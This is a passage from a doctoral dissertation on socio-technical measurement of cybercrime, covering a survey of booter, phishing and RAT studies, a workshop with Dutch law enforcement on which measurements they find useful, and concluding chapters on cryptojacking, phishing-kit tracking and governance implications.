user submissions. This leads to the question of whether the stubs uploaded to VirusTotal
are, in fact, a representative sample. Additionally, the discovered RAT characteristics
are primarily based on two RATs (DarkComet or njRAT), whereas a great variety of RATs
are listed by Faulkenberry et al. [75]. To what extent the findings generalize to other
types of RATs is unknown. Attacker analysis distinguished two types of attackers: the
ones operating on a large scale and targeted attackers operating locally [73, 201], which
allows for more in-depth analyses of differences in TTP. Finally, just as with booters and
phishing, scanners deployed by the security community make it hard to establish robust
observations of victim traffic [75, 201].

6.6. MEASUREMENT CHARACTERISTICS
Before we report on the results of our workshop with LEAs to elicit their assessment of
various studies, we summarize the findings from our survey. When scholars measure
cybercrime, they measure mostly its deployment and execution, not the monetization
component in the value chain, as illustrated by Tables 6.2, 6.4, and 6.6. Many measure-
ments leverage the same datasets or methods, like the use of AmpPot in booter measure-
ments [117, 132, 181], PhishTank in phishing measurements [49, 52, 58, 126, 140, 158,
167, 192, 241], and VirusTotal in RAT measurements [73, 74, 201]. The prevalent use of
such datasets could introduce measurement biases. For example, a community-vetted
database like PhishTank does not contain every phishing URL but does include all known
PayPal phishing URLs due to their collaboration [41]. Which, consequently, results in an



6

166 TECHNICAL MEASUREMENTS AND CYBERCRIME POLICING

overestimation of PayPal’s popularity as a target among phishers. And, although differ-
entiation in temporal and geographical characteristics is mentioned in measurements
of every type of cybercrime in our research [15, 73, 181], just two of the 38 studies had
their focus adjusted to a specific geographical area or company. Internet-scale measure-
ments provide a nice panoramic view of the global cybercrime landscape. Yet, studies
have found phishers operating in one geographical or language area – often the same
as theirs [15], gamers launching attacks at their neighboring rivals through booter ser-
vices [181], and RAT operators targeting victims locally [201]. Such localities can easily
get lost in an analysis on an Internet scale, where a geographical focus is absent. There-
fore, the takeaways of such analyses represent an average across countries, not within
a country, making them less actionable for LEAs operating within local jurisdictions.
From the attacker analyses across the examined cybercrimes, we can differentiate two
types of actors: cybercriminal groups performing large-scale untargeted attacks – e.g.,
originating from countries known for cybercrime [183, 240] – and individuals perform-
ing small-scale attacks locally (e.g., many RAT operators with few victims [201]). A clear
differentiation between these attackers is essential in measurements. Just as geograph-
ical diversity, including both groups in one measurement, can result in senseless aver-
ages – as these groups rely on very distinct TTP. Lastly, multiple studies across the three
cybercrimes mention the amount of scanning by other researchers that hamper robust
measurements [132, 183, 201], which should be accounted for properly.

6.7. MEASUREMENTS FOR LAW ENFORCEMENT

As detailed in previous sections, scholars have spent significant effort measuring cyber-
crime. However, little is known about what kind of measurements (i.e., data, methods,
and analyses) best cater to LEA needs. Some papers specifically mention how their mea-
surements could assist LEAs in policing cybercrime [73, 167], but does law enforcement
agree? To answer our second research question, we engage with LEA professionals in
the Netherlands during a workshop with two objectives. First, we want to elicit their
assessment of the added value of specific measurements to see which characteristics
align with LEA needs. Second, we wanted their insights into what innovative measure-
ments can cater to LEA needs. Dutch LEAs have been involved in several high-profile
cybercrime interventions, such as the takedown of QakBot [243], Webstresser [67], and
Bestmixer [69]. Such experiences make them a good partner for this study.

6.7.1. WORKSHOP APPROACH

We invited a diverse group of seven LEA professionals consisting of four participants
from the Dutch National Police (ranging from analysts to project managers – all in dedi-
cated cybercrime units), two from the Dutch Public Prosecution Service tasked with cy-
bercrime cases, and one from the cybercrime unit of the Dutch Fiscal Information and
Investigation Service (FIOD). Their experience was evenly spread and ranged from one
to 15+ years. All participants gave verbal informed consent to participate in our study
under the condition that their names or any other PII would not be used in any publica-
tion. They also agreed to record and transcribe the workshop. To collect their perspec-
tives on what makes a study more or less aligned with their needs, we present them with
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specific studies rather than abstract overviews of a large set of studies. Exposing them to
all 38 studies would not be feasible; thus, we selected three studies with different char-
acteristics in terms of data, methods, and findings for each of the three crime types –
nine studies in total. In the workshop, we presented 100-word summaries of each study
without mentioning their title and authors. Each summary detailed the data source(s),
methods, and main findings. Participants were asked to rate each study on three criteria,
using seven-point Likert scales. First, the participants were asked about understanding
the phenomenon: To what extent does this paper add to your understanding of the mea-
sured cybercrime? Second, about the connection to police work: To what extent does this
study connect to your daily work as a law enforcement professional? And third, about
the actionable perspectives: To what extent do elements of this study offer clear and ac-
tionable perspectives? Additionally, we asked participants to reflect on the study in a
five-minute discussion. This open-ended approach allowed for a reflexive process of in-
ductive reasoning to discover the characteristics of studies that align with LEA needs.
One researcher distilled such characteristics from the transcriptions and audio record-
ings, and the other researcher who attended the workshop agreed with its findings. In
the second part of the workshop, we asked our participants how to advance cybercrime
measurements by bringing new measurement ideas forward in a brainstorming session.
To allow for fresh ideas, we structured this around three different cybercrimes than the
ones already discussed, namely ransomware, online stolen data markets (e.g., data from
phishing or data breaches), and bulletproof hosting (hosting providers that do not com-
ply with LEA inquiries when hosting malicious content). For each of these crimes, the
participants were asked to write down ideas for new measurements on Post-its. These
Post-its were collected per cybercrime on a large sheet of paper. After reading all the
ideas, every participant was given 10 points per cybercrime, which they were asked to
divide. The highest-scoring ideas were discussed to capture the rationale behind them.

6.7.2. WORKSHOP RESULTS

The next section first details the results of the workshop, which involved previous scien-
tific measurements, followed by the results of the second part of the workshop, which
revolved around innovative measurements that can cater to LEA needs.

BOOTERS

As shown in Table 6.7, all studies were rated moderately well on contributing to a bet-
ter understanding of the phenomenon. The work of Santanna et al. [211] was met with
skepticism, and questions were raised regarding the relevancy of this work, as it was pub-
lished eight years ago. Additionally, the finding that a third of all purchased attacks at
booters are not executed was deemed not interesting as “criminals scamming criminals
is not our priority”, according to Participant 2. The responses to the measurements pre-
sented by Kopp et al. [131] were more positive. Ironically, multiple participants agreed
with Participant 3, who stated: “It is great to see how little effect these police interven-
tions have. This should be taken into account when designing other interventions”. Par-
ticipant 1 added that “taking down booters is just a game of whack-a-mole, it’s better to
aim higher”. However, this person also added that “police actions are also normative, es-
pecially with types of crime that are difficult to control”, indicating that such actions send
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Table 6.7: Scores assigned by LEA participants, ranging from 1 (totally not agreed) to 7 (totally agreed) (N = 7).

Reference Understanding Connection Action

B
o

o
te

rs Santanna et al. [211] 4.0 2.2 2.8
Brunt et al. [26] 4.3 3.8 3.9
Kopp et al. [131] 4.8 4.0 3.8

P
h

is
h

. Peng et al. [192] 4.0 2.5 3.1
Oest et al. [183] 5.0 3.3 3.1
Bijmans et al. [15] 5.0 4.3 4.1

R
AT

s Farinholt et al. [74] 4.9 3.3 3.3
Rezaeirad et al. [201] 4.1 3.3 3.0
Farinholt et al. [73] 4.7 4.3 4.9

a message to other criminals even though direct results are limited. This study inspired
Participant 5 to state that “it would be nice to collaborate with academics whenever we
act. They could measure before and after our actions to analyze the effects.” Insights
into monetization of booters by Brunt et al. [26] gave our participants concrete and ac-
tionable perspectives. The popularity of a certain payment service provider can spark
future cooperation, especially when such a provider is willing to work with law enforce-
ment. According to Participant 4, this shows that public-private partnerships to police
cybercrime are effective, as “profits diminished despite customers changing payment
methods” according to Kopp et al. [131].

PHISHING

All presented studies were rated moderately well on contributing to a better understand-
ing of the phenomenon but differed in being well-connected to police work and whether
or not they offered an action perspective, as shown in Table 6.7. This discrepancy is well
illustrated by the discussion that followed upon the life cycle measurements by Oest et
al. [183]. This paper illustrates the short life cycle of phishing URLs, being online for only
21 hours on average. Participant 1 from the Dutch police said: “It is shocking to see these
short time frames, as we can never act in this time frame, it’s simply too short.” The mea-
surements of Oest et al. [183] and Bijmans et al. [15] strengthened some participants in
their beliefs that phishing can not be stopped through criminal investigations alone, but
also by taking preventive actions or through public-private partnerships. Various partic-
ipants appreciated the local focus in Bijmans et al. [15] because its findings directly apply
to their work. Additionally, the “insights into what phishing kits are popular could steer
our investigations towards the developers of the most popular kits.”, according to Partic-
ipant 2. The methods and results in the work of Peng et al. [192] did not align well with
police practice, according to our participants. Purposely leaking credentials and observ-
ing their evolution did not contribute to anything LEAs can act upon. Despite an idea
for a public-private partnership (“if PayPal is really that prevalent, we should cooperate
with them”, participant 5), it offered no useful insights for criminal investigations.
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RATS

All presented studies featured analyses of either one or two different RATs, which made
Participant 2 raise the question: “there are hundreds of different RATs active at the mo-
ment, did the researchers know how prevalent this RAT was?”. Besides this question,
all papers were rated moderately well regarding both phenomenon understanding, as
shown in Table 6.7, yet the work of Farinholt et al. [73] scored significantly better on the
actionable perspective. The geographic distributions of both attackers and defenders
reported by Farinholt et al. [73] were well-received: “It is always interesting to see the
numbers. Such an overview shows that victim notification is possible” (Participant 5),
referring to the victim counts per country according to Farinholt et al. [73]. Additionally,
the long RAT controller uptime finding showed that “there is input for criminal inves-
tigations, because of the long uptimes. In the 400 days that some RATs remain active,
we can easily do a full investigation!” (Participant 3). Participant 4 from the FIOD noted
that “we often think about cybercrime on a global scale, this paper shows that victim and
perpetrator are much closer to each other, which makes it more worthwhile to investi-
gate”, referring to the fact that prosecuting a Dutch perpetrator is much easier than a
foreign one. Additionally, the analysis of perpetrator OPSEC gave relevant hints for LEA
action. The low use of VPNs by RAT controllers could be exploited for identification. The
findings of Rezaeirad et al. [201] showed that dependencies of malicious actors on legiti-
mate services could be exploited for law enforcement investigations or in public-private
partnerships. Regarding the popularity of one VPN provider, Participant 1 stated that
“the use of commercial products, like these VPN services, makes them ideal targets for
public-private partnerships.”

6.7.3. ADVANCING MEASUREMENTS
For ransomware, participants wanted to learn about money laundering within the
ecosystem. Since the victim payments are transacted in cryptocurrencies, what do
criminals do next to convert their assets to fiat currencies? The second most-voted
measurement was related to victims, emphasizing both geographical and sectoral
analysis. Does ransomware tend to target specific organizations, or is it mostly oppor-
tunistic, capitalizing on initial access? Such insights could assist in designing preventive
measures. Exact profit calculations or the means of initial access were less popular. As
data breaches and stolen credentials enable many different forms of cybercrime [239],
our participants expressed interest in learning more about the data types. Is every
piece of data equally valuable, or are some more interesting – and more expensive –
than others? And, to what extent does it influence the price of stolen data? The total
volume of leaked credentials offered in the underground economy was less interesting
to the participants. To learn which hosting providers can be considered bulletproof,
our participants question the ratio of malicious and benign content that would classify
a provider as bulletproof. Additionally, they are curious to know how such providers
advertise in the underground economy. Customers are interesting as well, and our
participants expressed the desire to understand both their background and payment
methods.
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To summarize, the LEA participants valued scientific measurements, as Participant
5 stated: “we fail in keeping a close eye on what science does, we should hire more
researchers that could introduce these scientific insights into our daily work.” The high
scores related to the “understanding the phenomenon” column in Table 6.7 illustrate
this. However, the lower scores in the other two columns emphasize that although
scientific measurements can help to better understand cybercrime, they can not di-
rectly assist in combating it, as they do not offer concrete action perspectives. The
few higher-scoring studies generated actionable perspectives related to geographical
differentiation [15, 73], development [15], monetization [26] or the effects of inter-
ventions [26, 131]. Measurements of solely the deployment or execution components
were less valued. Accurate numbers related to their jurisdiction allow LEAs to act,
monetization insights allow for public-private partnerships with, for instance, payment
service providers, whereas development insights could steer criminal investigations
toward the developers of malicious software instead of their many clients downstream.
Findings originating from these scientific measurements could be leveraged to set up
public-private partnerships with companies (ab)used by criminals. Brainstorming on
innovative measurements highlighted the wish to gain predominantly insights into
the monetization of cybercrime, illustrated by the desire to know more about money
laundering in ransomware, stolen data price mechanics, and bulletproof hosting
advertising.

6.8. DISCUSSION
In this section, we discuss the inherent limitations of our work and mark interesting av-
enues for future work.

LIMITATIONS

We identify three limitations in our research that could have influenced our findings:
our selection of cybercrimes, paper collection, and the recruitment of workshop partic-
ipants. First, we selected only three cybercrimes to survey the academic field. As men-
tioned in § 6.2, we selected booter services, phishing, and RATs based on three years of
Europol reporting [68, 70, 71]. We generalize our conclusions for all cybercrime research
based on our survey of studies covering only these three cybercrimes, which could in-
troduce a bias. Given the large differences in value chains across these cybercrimes, we,
however, don’t think our conclusions would be vastly different if we had selected other
cybercrimes. Second, although we took a systematic approach to survey past cybercrime
measurements, as elaborated upon in § 6.2, it is possible that we have missed or incor-
rectly discarded studies as part of our selection process. Lastly, the workshop with law
enforcement professionals included only a limited number of participants. Although
these participants came from a variety of agencies and had different roles, the group
could have been biased.

FUTURE WORK

We envision three avenues for future work from the results of this combined survey and
user study. First, we encourage researchers to perform more large-scale measurement
studies with a sole focus on cybercrime measurements instead of creating detection
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methodologies. Since one of the pillars of science is to build on the shoulders of previous
researchers, we promote research that takes already published detection methodology
from earlier work to perform robust measurements of cybercrime. Second, in perform-
ing such measurements, we argue that well-demarcated studies in terms of jurisdiction,
geography, or language could aid in better connecting scientific research to police op-
erations. We acknowledge that such research requires good relations with local law en-
forcement – which can be difficult to achieve – and that such research is not appropriate
at every university, nor approved by every institutional research board. Finally, compar-
ative studies between the aforementioned demarcations have the potential to demon-
strate differences in actor TTP and in the law enforcement efforts to police them. Such
future work would help improve our understanding of cybercrime across the globe and
discover what approaches work to combat cybercrime.

6.9. CONCLUSIONS
Combining our survey of large-scale technical measurements and the workshop with
LEA professionals allows us to answer our research questions and find the nexus be-
tween cybercrime science and policing. In short, we find a mismatch between LEA needs
and academic measurements. Most measurements focus on the deployment and execu-
tion of cybercrime, whereas LEAs desire to learn more about development and mone-
tization. Although the deployment and execution components are paramount to mea-
sure, analyses on the source or how profits are made would also be beneficial, especially
for LEAs to build an intervention repertoire. They provide clues that could bring inves-
tigators closer to the people facilitating these types of cybercrime, allowing for proactive
and disruptive infrastructural policing with longer-lasting effects [48]. That is, moneti-
zation insights allow for public-private partnerships with, for instance, payment service
providers, whereas development insights could steer criminal investigations toward the
developers of malicious software instead of their many clients downstream. As noted by
Cui et al. [52], taking down individual phishing websites is far less efficient than polic-
ing phishing kit developers, which is what LEAs – given their scarce resources – should
focus on. Law enforcement doesn’t prioritize investigations into hundreds of individ-
ual phishing pages, but this changes as soon as all these websites can be associated with
one attacker [167]. To arrive at this conclusion, one needs large-scale technical measure-
ments, which academics could design. Such measurements need a geographical focus,
which is essential to LEAs as they operate in conjunction with local jurisdictions. Also,
LEA interventions lean on attacker differentiation, as policing individuals requires a dif-
ferent enforcement repertoire than organized cybercriminal groups. Aligning academic
and LEA opportunities, considering all value chain components, actor differentiation,
and geographical diversity, augments the nexus between large-scale technical measure-
ments and cybercrime policing.
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CONCLUSION

This dissertation studied large-scale socio-technical Internet measurements of profit-
driven cybercrime through various measurement lenses like value chains, life cycles, and
campaign analysis. A total of five peer-reviewed studies have been presented in Chap-
ters 2 to 5 and were all aimed at answering the following research question:

How to perform socio-technical measurements of cybercrime to assist in
cybercrime governance?

In this final chapter, we summarize the empirical findings from Chapters 2-5 and com-
bine it with the work in Chapter 6 to answer our main research question. Next, we con-
sider the impact of our work and its implications for cybercrime governance. Finally, we
propose future research directions that leverage the findings in this dissertation.

7.1. EMPIRICAL FINDINGS
Chapters 2 to 5 presented the results derived from empirical studies involving socio-
technical measurements of cybercrime. The main takeaways from these studies are
summarized in the following paragraphs and structured around the research gaps iden-
tified in § 1.2.

INNOVATIONS IN INTERNET MEASUREMENTS FOR EMERGING CYBERCRIMES
In Chapter 2, we estimated the prevalence of (organized) cryptojacking on websites.
Utilizing previous detection techniques developed by Konoth et al. [127], we performed
two large-scale measurements of cryptojacking focused on the prevalence of (organized)
illicit cryptomining on domains. First, we analyzed the 1.7M most popular domains
listed in three top lists to identify organized campaigns. We found 204 campaigns, from
which we conclude that the size of organized cryptojacking in large campaigns is heavily
underestimated by previous academic research and that criminals have chosen third-
party software – such as WordPress – as their attack vector for spreading cryptojacking
infections efficiently. In the second measurement, after crawling a random sample
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of 49M domains (~20% of the Internet at the time), we conclude that cryptojacking is
present on 0.011% of all domains and that adult content is the most prevalent category
of websites affected. Looking at the different TLDs, we find that Russian, Brazilian, and
Spanish zones are home to a disproportionate number of cryptojacking domains. We
show that measurements through top lists like the Alexa Top 1M produce significant
overestimates of the problem in terms of prevalence, which we found to be almost six
times lower. The discontinuation of Coinhive in March 2019 and the diminishing value
of Monero in 2019 – 2021 stressed the importance of monitoring organized crypto-
jacking campaigns, as cyber criminals will find new ways to spread their cryptojacking
infections to remain profitable.

The third chapter examined organized cryptojacking on compromised Internet infras-
tructure and investigated how cybercriminals set up large-scale campaigns. Through
a firmware vulnerability in MikroTik routers, criminals installed illicit cryptomining
scripts on these devices, allowing them to rewrite outgoing user traffic and embed
cryptomining code in every outgoing Web connection – a MITM attack. Using operator
NetFlows, semiweekly Internet crawls, and network telescope back-scatter, we scru-
tinized cybercriminal activity over a period of 10 months. We found a total of 1.4M
routers to be infected at any moment in time, approximately 70% of all MikroTik devices
deployed worldwide, ranging from individual installations to campaigns involving thou-
sands of routers. The most affected geographic locations were Brazil and Indonesia,
where such devices responded at 29% and 35% of all publicly accessible IP addresses of
the largest operators, respectively. Our results show that cryptojacking through MITM
attacks is highly lucrative, estimated to exceed $1,200,000 per month in revenue for
the ten top-grossing actors. Curiously, we find that innovation and the first-mover
advantage do not pay off in terms of revenue made. The highest-grossing actors are not
the ones creating new monetization options, deploying sophisticated infrastructure,
or creating the largest deployment, but those finding the most productive niche where
they can operate relatively undisturbed.

JURISDICTION-FOCUSED INTERNET MEASUREMENTS OF CYBERCRIME

In this chapter, we studied the role of phishing kits within the Dutch phishing ecosys-
tem by leveraging the use of TLS certificates by phishers and the activity of cybercrim-
inals in public Telegram groups. Through a collection of phishing kits shared on this
platform and found in open server directories, we constructed fingerprints to measure
their prevalence on websites in the wild. Crawling the domains referenced in newly is-
sued TLS certificates enabled us to capture the end-to-end life cycle of these phishing
domains – from domain registration and kit deployment to take-down. With this novel
method, we identified 1,363 Dutch phishing domains that deployed these phishing kits
in a four-month time period, with, on average, 31 phishing domains online every day,
waiting for victims to arrive. Most of these domains are online for only 24 hours, but half
of them (much) longer. Our analysis of the deployed phishing kits revealed that only a
few different kits are in use and that many phishers were building their campaigns on
the same framework, uAdmin. We discovered that phishers increased their luring capa-
bilities by using multi-stage decoy pages to trick victims into disclosing their credentials.
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Relating our findings to data from the APWG showed that our methodology has the po-
tential to detect phishing websites swiftly and that it covers a complementary spectrum
of phishing domains.

HOW COMPANIES HANDLE ABUSE TO FIGHT CYBERCRIME

In the fourth study in Chapter 5, we performed an empirical analysis on ground-truth
data from a hosting provider to study the abuse handling within such a company in a way
never seen before. Through a unique collaboration with law enforcement in the Nether-
lands, we were granted access to the operational back-end of a hosting provider with
a reputation for abuse, which allowed us to investigate what mechanisms in the anti-
abuse ecosystem influenced its anti-abuse actions. By gathering and analyzing 1.3M
abuse reports and 9,227 unique client notifications, we find significant differences be-
tween notification rates among senders and abuse categories. We find that notification
rates highly depend on the source and the type of abuse report and less on the involved
client. Governance instruments like blocklisting, de-peering, and law enforcement in-
quiries that could directly hurt business continuity affect client notifications, whereas
individual abuse reporting is easily ignored. We find a mismatch between the severity
of certain abuse types and their corresponding anti-abuse governance instruments. For
instance, spam is considered less harmful than DDoS attacks. Yet, the spam ecosystem is
well monitored by Spamhaus, whereas such a governance instrument lacks for DDoS at-
tacks – that relies more on individual reports (by victims). Through longitudinal analysis,
we find that government interventions do affect abuse follow-up rates, as CSAM-related
abuse reports were better taken care of when governmental pressure started to rise.

7.2. ACADEMIC MEASUREMENTS FOR LAW ENFORCEMENT
The empirical findings emerging from the studies detailed in the previous section convey
novel insights into cybercrime measurement innovations. This section outlines our re-
flections on how socio-technical cybercrime measurements can assist law enforcement.

First, we find that an important and often overlooked aspect of Internet measure-
ments examining cybercrime is that such measurements should aim to measure crime.
Crime involves individuals (or groups) with a clear (profit-driven) intent and corre-
sponding decision-making processes that balance risk and reward. Such characteristics
of crime are well known to criminologists and well incorporated in their research, but
are often not well reflected in the measurements performed by computer scientists.
This might result from Internet measurements capturing mostly external signals – such
as the use of Web-based resources – which can undoubtedly be used to measure parts
of cybercriminal operations, yet internal (ground-truth) data is quintessential to assess
the criminal intent of a cybercriminal actor.

Additionally, we find that Internet measurements of cybercrime often lack a clearly
defined geographical demarcation, which is important to LEAs as they operate in con-
junction with local jurisdictions. Although the Internet is a worldwide network that does
not respect international borders, its users do live in local communities, and so do cyber-
criminals [254]. This aspect is overlooked in many large-scale Internet measurements
stemming from computer science. Yet, they do matter in performing socio-technical
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measurements studying cybercrime, as we have observed phishing criminals lure in vic-
tims within the same linguistic region (Chapter 4), routers being infected with crypto-
jacking malware concentrated in certain locations as a result of local ISP preferences
(Chapter 3), and hosting companies operating just within the boundaries of local legis-
lation (Chapter 5). Moreover, our survey of previous work in Chapter 6 has shown that
many studies are driven by their access to datasets rather than their wishes to investi-
gate cybercriminal TTP in depth. Selecting the correct dataset to measure cybercrime
prevalence remains difficult. As shown in Chapter 2, measurements of the prevalence of
cybercrime (in this case, cryptojacking) can differ significantly between the one million
most popular domains according to Alexa [3] and a random sample of domains gath-
ered from DNS zone files. To assess to what extent Internet users are suffering from a
type of cybercrime – which is, ultimately, the goal of such a measurement – through a
top-list measurement is thus unsuitable. Analyzing a top list per country or examining a
random sample would result in findings that are much closer to reality.

Next, we find that all measurement lenses introduced in § 1.1.2 can assist in design-
ing measurements that apply directly to law enforcement needs, albeit in different ways.
In writing this dissertation, and especially in Chapter 6, it has become apparent that
value chains are a useful lens to determine what measurements exactly aim to measure.
Having a clear idea of which component in the value chain is the subject of measure-
ment and considering how easily a resource can be outsourced or replaced prevents
jumping to incorrect conclusions. Value chain analysis can uncover choke points by
identifying scarce resources (e.g., interventions aimed at those resources would incur
the most effect) and provide a source for campaign analysis where overlapping resources
can be clustered and attributed to the same actor (group). An example of this is the use
of sitekeys in the cryptojacking investigations in Chapter 2 and 3, but not the binaries
used to perform these illicit cryptojacking operations. Similarly, phishing kits cannot be
attributed to the same actor since there is a lively underground market that allows mul-
tiple actors to use the same phishing kit for their criminal endeavors. Life cycle analysis
has the capability to show the (im)possibilities for governance interventions. For exam-
ple, the found short uptime for phishing domains in Chapter 4 informs law enforcement
that the deployment component in the value chain – where domains play a vital role –
might not be the best place to intervene. In contrast, the long uptime of RAT controller
domains delineates the possibilities for such interventions within the RAT value chain.

Performing campaign analysis has the potential to provide valuable insights into the
degree of organization within a studied cybercrime, as we demonstrated in Chapters 2
and 3. Insights into the degree of organization and the different types of cybercriminals
can assist law enforcement in designing effective governance strategies. A lack of actor
differentiation in a measurement that includes both low-skilled actors (scripts-kiddies)
and high-skilled actors (criminal groups or even nation-state actors) generates results
that reflect neither of those two kinds of actors. Many measurements, however, lack at-
tacker differentiation, which is what LEAs lean on to design different policing strategies
for individuals than for organized cybercriminal groups. When a cybercrime originates
from many individuals, a completely different governance strategy is required as op-
posed to a large cybercriminal group that is responsible for the majority of cybercrime.

Lastly, we find a misalignment between the focus of academic cybercrime measure-
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ments and law enforcement needs, which we discovered through the study presented in
Chapter 6. Here, we found most measurements to focus on the deployment and execu-
tion components of cybercrime, whereas LEAs desire to learn more about development
and monetization. Although the deployment and execution components are paramount
to measure, analyses on the source (i.e., the developer) or how profits are made are es-
sential for LEAs to build an intervention repertoire.

In short, cybercrime measurement approaches that consider the intent behind crimi-
nal acts, that are clearly delineated in terms of geographical scope and the type of actor
studied, and that incorporate campaign analysis to assess not only the prevalence but
also the degree of organization, such measurements can provide valuable support to law
enforcement efforts in combating cybercrime. Structuring academic analyses around
value chains, life cycles, and campaign analysis creates safeguards for researchers to as-
sess whether they measure what they want to measure.

7.3. SOCIETAL IMPACT
Besides the scientific impact of our findings highlighted in Chapters 2 to 6, the work in
this dissertation also made a societal impact, although sometimes in an indirect manner.
The following paragraphs highlight the impact of our studies outside academia.

AFTERMATH OF COINHIVE-BASED CRYPTOJACKING

Chapters 2 and 3 discussed cryptojacking on websites and compromised infrastructure,
and the corresponding papers were published right after a spike in Monero (XMR)
prices. Such high XMR prices fuel browser-based cryptojacking attacks. Coinhive,
considered the most dominant provider offering browser-based cryptomining scripts,
ceased operations in March 2019. Over a year later, in May 2020, Troy Hunt – the
operator of haveibeenpwned.com – obtained the domains previously owned by Coin-
hive [105]. While writing a blog post about it, he stumbled upon the two papers on
cryptojacking in this dissertation and reached out. We answered some of his questions,
which helped him write this blog post. In this analysis, he found many websites still
requesting non-existent resources related to Coinhive, which he started logging. This
underlined our findings as he agreed that most of the websites requesting such resources
were infected through the third-party software attack vector instead of being initiated by
the website owner. To urge website owners to remove the defunct references to Coinhive
from their website, he made every request to the Coinhive domains to return a modal
popping up in the browser window, explaining that the visited website tried to perform
illicit cryptomining. The blog was well-received, and we are proud that such a renowned
cybersecurity figure referred to both our papers and conference talks.

Most of the 1.7M infected MikroTik routers we studied in Chapter 2 were already
cleaned up during the course of our research – see Figure 3.10. By the end of our
measurement period, thousands of routers were still serving cryptomining scripts. In
an Interpol-led action against cryptojacking on compromised routers in South East
Asia, collaborating law enforcement agencies cleaned up 15,000 of such routers in June
2019 [111]. Although this number sounds like many, our research has found that this
is only a tiny fraction, as we saw over 1.7M routers infected with cryptojacking scripts

haveibeenpwned.com
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in our measurement period. Most of these routers were cleaned up months before
the Interpol operation started. Despite these cleaning efforts, there are still hundreds
of routers that have (partially defunct) cryptomining scripts included in their HTTP
responses, as we found in Censys as of October 2024.

PHISHING MEASUREMENTS ASSISTING LAW ENFORCEMENT

Geographically demarcated measurements of cybercrime can assist law enforcement in
their work to police cybercrime, as we have argued throughout this concluding chap-
ter. Besides the scientific work highlighted in this dissertation, we have put this ar-
gument into practice by actively collaborating with Dutch law enforcement from 2019
to 2024. The measurement of phishing in the Netherlands, detailed in Chapter 4, has
been conducted at TNO in a multi-year knowledge-building program in which TNO and
the Dutch National Police collaborate to improve policing in the digital era. The soft-
ware created to perform this research was further developed to assist police officers in
their daily work, resulting in the application now known as “BigPhish”. This application
identified and examined phishing domains similarly to the methods described in our re-
search and allowed users to perform in-depth searches and observe trends in phishing
kit usage over time. In July 2021, Dutch law enforcement arrested the developer of one
of the most used phishing kits at the time [196], which BigPhish had been tracking for
several months. To assess the spread of this phishing kit throughout the phishing ecosys-
tem in the Netherlands, police filed a claim to obtain all 400 domains where this kit was
identified. The disclosed information was utilized in court to illustrate the scale of its
operations. In doing so, we confirmed our hypothesis that scientific measurements can
really assist in law enforcement operations. BigPhish continued to have an effect on cy-
bercrime policing outside the Netherlands. A public prosecutor from Bavaria, Germany,
approached us to start a pilot with BigPhish in Germany. In close collaboration with
German public prosecutors and police officers, BigPhish was adjusted to operate within
a different country and tested for several months. Ultimately, this resulted in the signing
of a memorandum of understanding between TNO, CFLW, and the Bavarian Ministry of
Justice, which agreed to fight phishing collaboratively [13].

The Belgian police took matters into their own hands by building a similar system
as BigPhish all by themselves, purely based on the methodology described in our
paper [15]. This allowed them to automatically send out thousands of notice-and-
takedown requests to providers hosting identified phishing websites and to cluster
related phishing domains into campaigns, hereby guiding the allocation of their inves-
tigative resources to key criminal actors [25]. Their “Phish Nemo” was even awarded a
prize for being the most innovative police project in Belgium in December 2024 [38]

7.4. GOVERNANCE IMPLICATIONS

Given the knowledge we obtained from the five academic studies in this dissertation
on how to perform socio-technical measurements of cybercrime, we address the im-
plications our work has on governance in the following paragraphs. We structure our
thoughts on governance implications around three entities in the cybercrime-fighting
ecosystem: governments, intermediaries, and anti-abuse organizations.
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GOVERNMENTS

The first entity within the cybercrime-fighting ecosystem we address is the government.
Both local and central governments design policies to address cybercrime and combat
its prevalence. The work in this dissertation highlights that such policy creation should
align with robust (scientific) measurements. We argue that new laws, regulations, or
(law enforcement) interventions should be built upon solid statistics and envision the
process of policy creation as follows. First, a well-performed socio-technical measure-
ment of a certain type of cybercrime is executed with clear geographical demarcations
taken into account. The results from this measurement are then analyzed, and goals
are set, together with policymakers, that future governance instruments should achieve.
A SMART (specific, measurable, achievable, relevant, and time-bound) formulated goal
could, for example, be to lower the amount of phishing domains targeting Dutch citizens
within two years or to reduce the amount of CSAM imagery hosted on Dutch servers
within one year. Given such a well-formulated goal, policymakers, together with aca-
demic researchers, brainstorm on possible governance interventions. Taking the exam-
ple of phishing, analysis in Chapter 4 pointed out that most phishing originates from
only a few phishing kits, which are made by only a few developers. Additionally, the
value chain analysis in Chapter 6 showed that playing a game of whack-a-mole with
phishing domains is not effective, as this resource can easily be replaced. Therefore,
a possible governance intervention would then be to deprioritize investigations into in-
dividual phishing domains and focus on finding and prosecuting the few phishing kit
developers. Civil servants or law enforcement professionals operationalize these gover-
nance ideas afterward into policy, and researchers wait for them to come into force. After
a set period of time, researchers redo their measurements and discuss the outcomes with
government officials to assess the effect of the implemented governance intervention.

An important addition to this measurement-based governance development pro-
cess is the observation that governance actions may also be predominantly normative,
i.e., aimed at setting out guidelines for what one should do. Normative governance ac-
tions express a social norm on cybercrime but do not necessarily have direct effects on
it. Such actions can be divided into proactive and reactive normative governance ac-
tions. Reactive normative governance strategies would be to indict foreign hackers, as
the U.S. Department of Justice did in October 2024 with two Russian nationals who at-
tacked multiple companies to deploy ransomware [245]. Such indictments rarely lead to
arrests or reduce ransomware attacks. Yet, they show the public that the government is
taking these crimes seriously and demonstrates its capabilities to find the perpetrators. A
proactive normative governance strategy is, for example, the use of Google Ads to make
DDoS buyers think twice before they purchase their attacks on booter websites [166].
Here, the law enforcement deployed targeted online ad campaigns to raise cybercrime
awareness among individuals searching for DDoS-for-hire services. Although the results
of this study showed mixed results – i.e., the advertisement campaigns were not consid-
ered significantly effective in reducing DDoS attacks in the short term [166] – it could
have influenced some criminals not to start their malpractices. To conclude, govern-
ments proposing governance interventions should do so based on robust measurements
and clearly defined goals, even if the desired outcome is to implement normative ac-
tions.
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INTERMEDIARIES

Since the Internet is a decentralized network of many different parties, various interme-
diaries facilitate both the good parts as well as the bad parts of the Web. Throughout
this dissertation, we observed the government as just one of the many parties within the
ecosystem to fight cybercrime. However, some of those parties are much more capable of
intervening due to their unique information position within the ecosystem. Companies
operating infrastructure abused by cybercriminals are in an excellent position to mea-
sure, cluster, and disrupt cybercriminal operations. However, such companies have little
incentive to invest in such activities, as such efforts will more likely cost money than turn
a profit. Based on the research presented in this dissertation, we argue that governance
strategies that divide the responsibility to address cybercrime between the facilitating
companies and law enforcement would improve the status quo in the fight against cy-
bercrime. This kind of governing, characterized by Garland [81] as a responsibilization
strategy, involves the government seeking to act upon cybercrime by acting indirectly
